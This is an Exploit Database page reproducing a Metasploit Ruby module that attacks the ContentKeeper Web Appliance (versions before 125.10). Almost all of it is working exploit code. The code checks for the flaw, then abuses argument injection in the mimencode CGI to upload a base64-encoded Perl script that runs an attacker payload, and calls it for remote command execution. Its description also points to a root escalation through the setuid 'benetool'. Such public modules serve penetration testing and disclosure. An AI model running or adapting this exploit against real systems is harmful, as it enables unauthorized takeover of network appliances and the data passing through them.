ContentKeeper Web – Remote Command Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-10-09
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/16923/

• ##
  # $Id: contentkeeperweb_mimencode.rb 10617 2010-10-09 06:55:52Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		 => 'ContentKeeper Web Remote Command Execution',
  			'Description'=> %q{
  					This module exploits the ContentKeeper Web Appliance. Versions prior
  				to 125.10 are affected. This module exploits a combination of weaknesses
  				to enable remote command execution as the Apache user. Following exploitation
  				it is possible to abuse an insecure PATH call to 'ps' etc in setuid 'benetool'
  				to escalate to root.
  			},
  			'Author' 	 => [ 'patrick' ],
  			'Arch'		 => [ ARCH_CMD ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10617 $',
  			'References' =>
  				[
  					[ 'OSVDB', '54551'],
  					[ 'OSVDB', '54552'],
  					[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
  				],
  			'Privileged'	=> false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 1024,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl ruby telnet',
  						}
  				},
  			'Platform' => ['unix'],
  			'Targets'=>
  				[
  					[ 'Automatic', { } ]
  				],
  			'DisclosureDate' => 'Feb 25 2009',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(80),
  			],self.class)
  	end
  
  	def check
  		connect
  		sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
  		banner = sock.get(-1,3)
  		disconnect
  
  		if (banner =~ /500 Internal/)
  			return Exploit::CheckCode::Vulnerable
  		end
  			return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		exp = "#!/usr/bin/perl\n"
  		exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
  		exp << "system(\""
  		exp << payload.encoded.gsub('"', '\"')
  		exp << "\");\n"
  
  		body = Rex::Text.encode_base64(exp)
  
  		connect
  
  		sploit = "POST /cgi-bin/ck/mimencode?-u+-o+bak.txt HTTP/1.1\r\n"
  		sploit << "Host: #{datastore['RHOST']}\r\n"
  		sploit << "Content-Length: #{body.length}\r\n\r\n"
  
  		print_status("Uploading payload to target.")
  		sock.put(sploit + body + "\r\n\r\n")
  		disconnect
  
  		select(nil,nil,nil,5)
  		print_status("Calling payload...")
  		connect
  		req = "GET /cgi-bin/ck/bak.txt HTTP/1.1\r\n" # bak.txt is owned by apache, chmod 777 :) rwx
  		req << "Host: #{datastore['RHOST']}\r\n"
  		sock.put(req + "\r\n\r\n")
  
  		handler
  		disconnect
  	end
  end